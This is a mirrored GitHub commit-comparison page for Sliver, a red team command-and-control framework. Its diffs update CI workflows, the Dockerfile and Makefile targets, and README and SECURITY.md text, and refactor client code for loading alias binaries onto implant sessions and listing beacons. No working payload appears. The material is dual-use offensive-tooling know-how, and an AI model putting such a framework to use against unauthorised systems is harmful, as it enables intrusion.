mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
229
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
51aa00e741 | ||
|
|
ffe4c490fd | ||
|
|
702c2371a4 | ||
|
|
776f416ed1 | ||
|
|
ce98ce8b37 | ||
|
|
de8c6cb9b5 | ||
|
|
6afdad6d50 | ||
|
|
d699a8d140 | ||
|
|
77148d0d31 | ||
|
|
c7e77c8f8b | ||
|
|
5e6148b193 | ||
|
|
7b12e893a5 | ||
|
|
a619b59329 | ||
|
|
ead23d8bf6 | ||
|
|
7e6abd2211 | ||
|
|
4052093d57 | ||
|
|
a676cb328a | ||
|
|
1be1904c4d | ||
|
|
ead6b48b74 | ||
|
|
5d8ee38cb4 | ||
|
|
cef27f6511 | ||
|
|
dd91251710 | ||
|
|
d13e3fc61e | ||
|
|
cfb292d6d6 | ||
|
|
0e66a5643e | ||
|
|
5a7ee43120 | ||
|
|
8b7a66a595 | ||
|
|
f8ae372796 | ||
|
|
5908033ffd | ||
|
|
e083fa6db4 | ||
|
|
eb96269114 | ||
|
|
e9945d7cb4 | ||
|
|
c91740d2ac | ||
|
|
170c2bc462 | ||
|
|
ac56a98671 | ||
|
|
6c7814ce4f | ||
|
|
4adc9abd6a | ||
|
|
418b061c14 | ||
|
|
95ea7d8390 | ||
|
|
7f02c2ca96 | ||
|
|
430b5ffb79 | ||
|
|
e0c7779c6d | ||
|
|
aa31df6813 | ||
|
|
4146b382ff | ||
|
|
1e2e3caca0 | ||
|
|
40a9b74119 | ||
|
|
125a4ac0c4 | ||
|
|
84c56f3c4e | ||
|
|
14553f9a5a | ||
|
|
441038a508 | ||
|
|
4bf328edd9 | ||
|
|
f7d5d5f4c6 | ||
|
|
ea764705f1 | ||
|
|
0417fc16f6 | ||
|
|
901e9fd9e1 | ||
|
|
c5b3250d17 | ||
|
|
9f72364e54 | ||
|
|
184dde22ad | ||
|
|
0f5262ef87 | ||
|
|
bb8b7111b7 | ||
|
|
567e51ca46 | ||
|
|
05166e896f | ||
|
|
3cfe6435f3 | ||
|
|
48c65108d6 | ||
|
|
a271932c8a | ||
|
|
8c6fe18280 | ||
|
|
97dbae571c | ||
|
|
b5e629c4a6 | ||
|
|
30b1cb8a85 | ||
|
|
eb70ed2d0b | ||
|
|
53593be73f | ||
|
|
a144991ede | ||
|
|
0bb5ea506a | ||
|
|
d76e845bda | ||
|
|
47d1f0d66b | ||
|
|
bf1127f7f2 | ||
|
|
8b58648713 | ||
|
|
15b5b7c09b | ||
|
|
d7fcfe8760 | ||
|
|
88ca9cf905 | ||
|
|
c41fc309ad | ||
|
|
a8a36dd6e2 | ||
|
|
0a4dfccf25 | ||
|
|
20df965603 | ||
|
|
7b697ae5d1 | ||
|
|
ab5b319a9d | ||
|
|
fc18744280 | ||
|
|
8c5d55404c | ||
|
|
53c436b7dc | ||
|
|
3bf6ca5527 | ||
|
|
f5b8e3f23f | ||
|
|
3cb03537e5 | ||
|
|
85d23885ae | ||
|
|
6cad9d45d0 | ||
|
|
2810bebd07 | ||
|
|
cf0eb211e4 | ||
|
|
3668cd73fb | ||
|
|
69804ed3b9 | ||
|
|
2d376ce90b | ||
|
|
dbee28263b | ||
|
|
3160c8f31f | ||
|
|
84746926f0 | ||
|
|
020e18d0f8 | ||
|
|
ceca730e6b | ||
|
|
677a079132 | ||
|
|
971f44e4a1 | ||
|
|
d17b842d63 | ||
|
|
032e116a42 | ||
|
|
5cc548589f | ||
|
|
4047b42522 | ||
|
|
a2b039bb51 | ||
|
|
3c7fe8f1c6 | ||
|
|
a1d6d00a6a | ||
|
|
2481b9632f | ||
|
|
58e11d40fa | ||
|
|
196d42c8f1 | ||
|
|
3a4eee20a0 | ||
|
|
7714950206 | ||
|
|
bae0f479b8 | ||
|
|
fd090228e8 | ||
|
|
69dfe8c047 | ||
|
|
d8b9f7cbd6 | ||
|
|
4c6269ba5a | ||
|
|
c98d1e2c17 | ||
|
|
d582987c78 | ||
|
|
794db93ec9 | ||
|
|
338b622b97 | ||
|
|
4ecf42b5c2 | ||
|
|
7c5262d63d | ||
|
|
1a41eacb66 | ||
|
|
32e4ed63e9 | ||
|
|
e65629e089 | ||
|
|
0c14621e53 | ||
|
|
e27e030431 | ||
|
|
1fd850c738 | ||
|
|
4738bf229c | ||
|
|
c0a5a06efc | ||
|
|
97ff802a40 | ||
|
|
106c7f0427 | ||
|
|
37a46a21e0 | ||
|
|
060d1c40fd | ||
|
|
3320f3958b | ||
|
|
643a9ca3fe | ||
|
|
52c2e1b0cf | ||
|
|
2fe9b56dc5 | ||
|
|
0fab805980 | ||
|
|
dd9bb01640 | ||
|
|
0df56e5a95 | ||
|
|
e8a77d83ea | ||
|
|
98de546086 | ||
|
|
9e9ab2042f | ||
|
|
35907fa929 | ||
|
|
608de5213a | ||
|
|
b4b9d8d413 | ||
|
|
9dfde9d5c9 | ||
|
|
f6d6e9e55e | ||
|
|
0fd10d0c59 | ||
|
|
35a7562980 | ||
|
|
212f70d755 | ||
|
|
5a2f4f4553 | ||
|
|
cece2f2e01 | ||
|
|
f219d03453 | ||
|
|
22e67f8390 | ||
|
|
42299991db | ||
|
|
c1995c6081 | ||
|
|
352df3c52b | ||
|
|
0daff15f72 | ||
|
|
46e58403dc | ||
|
|
70ba98aef4 | ||
|
|
bc035d4003 | ||
|
|
31aaeeeab1 | ||
|
|
d0826e63bc | ||
|
|
ec8e26d2da | ||
|
|
78213312c6 | ||
|
|
c280489f49 | ||
|
|
49faa6e6e4 | ||
|
|
79b60eb321 | ||
|
|
160486c55f | ||
|
|
556ebd86a6 | ||
|
|
b86383a83d | ||
|
|
7aa03f6845 | ||
|
|
3f6c38f3c7 | ||
|
|
86ec7248b6 | ||
|
|
aac39d72b6 | ||
|
|
f08b8e4dfe | ||
|
|
4acbb6a5bb | ||
|
|
1caf9d2a1f | ||
|
|
c69f68c24c | ||
|
|
df668bba84 | ||
|
|
1b0c52488b | ||
|
|
3cb1fe6473 | ||
|
|
73b6e5311f | ||
|
|
ef17dcca05 | ||
|
|
0f53c7ca11 | ||
|
|
0b2e1c94e5 | ||
|
|
a6791cc14e | ||
|
|
3cd1222552 | ||
|
|
2dc6c74c89 | ||
|
|
905234714c | ||
|
|
3b39100b06 | ||
|
|
11949202b5 | ||
|
|
d41833c490 | ||
|
|
6c21d34963 | ||
|
|
f68da6cf5c | ||
|
|
6b876d5b0b | ||
|
|
a6d4e4fec2 | ||
|
|
b6a49923d0 | ||
|
|
9a450d9b5f | ||
|
|
a0c0657bf3 | ||
|
|
d37de4f340 | ||
|
|
15b7059a87 | ||
|
|
620bdd71c5 | ||
|
|
9c109bd236 | ||
|
|
afd0b08c2f | ||
|
|
8c144e3f66 | ||
|
|
f6281bdcd7 | ||
|
|
8ceaff528b | ||
|
|
a5b4e5310f | ||
|
|
3b3987d19f | ||
|
|
6072affe38 | ||
|
|
555e1d1123 | ||
|
|
e7524d28d0 | ||
|
|
68515f0873 | ||
|
|
8b55dca890 | ||
|
|
d7d946f17a | ||
|
|
c4555a124a | ||
|
|
65a44da85f | ||
|
|
6b0d6b2784 | ||
|
|
4b1991ad5d |
No files matched your search
@@ -5,4 +5,4 @@ queries:
|
||||
uses: security-extended
|
||||
paths:
|
||||
- server
|
||||
- implant
|
||||
- client
|
||||
+107
-112
@@ -3,60 +3,58 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master, goreleaser]
|
||||
branches: [master]
|
||||
|
||||
jobs:
|
||||
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Make Windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
- name: Make Windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
@@ -64,42 +62,40 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.6'
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
|
||||
tagged-release:
|
||||
|
||||
needs: [linux-windows-build, macos-build]
|
||||
|
||||
name: "Tagged Release"
|
||||
@@ -108,53 +104,52 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
path: ./builds
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
path: ./builds
|
||||
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: true
|
||||
files: |
|
||||
./artifacts/*
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: true
|
||||
files: |
|
||||
./artifacts/*
|
||||
@@ -4,23 +4,22 @@ on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
# pull_request:
|
||||
# branches:
|
||||
# - master
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
|
||||
jobs:
|
||||
CodeQL-Build:
|
||||
name: CodeQL Security Scan
|
||||
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.18
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.18.6"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
@@ -37,23 +36,6 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
|
||||
+41
-47
@@ -1,8 +1,5 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
@@ -13,70 +10,67 @@ on:
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: make linux
|
||||
- name: Make
|
||||
run: make linux
|
||||
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.6'
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Test
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
- name: Test
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
+4
-6
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.18.6
|
||||
FROM golang:1.19.3
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -52,13 +52,11 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
|
||||
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
|
||||
RUN ./go-assets.sh
|
||||
|
||||
# Compile sliver server
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all \
|
||||
&& make \
|
||||
&& ./go-assets.sh
|
||||
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
|
||||
@@ -47,6 +47,15 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds can't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
@@ -99,6 +108,12 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux-arm64)
|
||||
# Redefine TAGS/ENV to use pure go sqlite3
|
||||
TAGS = -tags osusergo,netgo,gosqlite
|
||||
ENV = CGO_ENABLED=0
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
@@ -140,6 +155,11 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
.PHONY: debug
|
||||
debug: clean
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
|
||||
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
 [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
[](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
### Features
|
||||
|
||||
|
||||
+1
-1
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
|
||||
|
||||
### Reporting a Vulnerability
|
||||
|
||||
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
|
||||
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
@@ -142,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -303,7 +302,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -311,7 +310,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
outFilePath, err = os.CreateTemp("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -109,7 +109,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
@@ -142,42 +143,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
color = console.Green
|
||||
}
|
||||
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
|
||||
|
||||
var next string
|
||||
var interval string
|
||||
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
|
||||
|
||||
} else {
|
||||
interval = time.Since(nextCheckin).Round(time.Second).String()
|
||||
}
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
|
||||
} else {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
|
||||
} else {
|
||||
interval = time.Until(nextCheckin).Round(time.Second).String()
|
||||
}
|
||||
|
||||
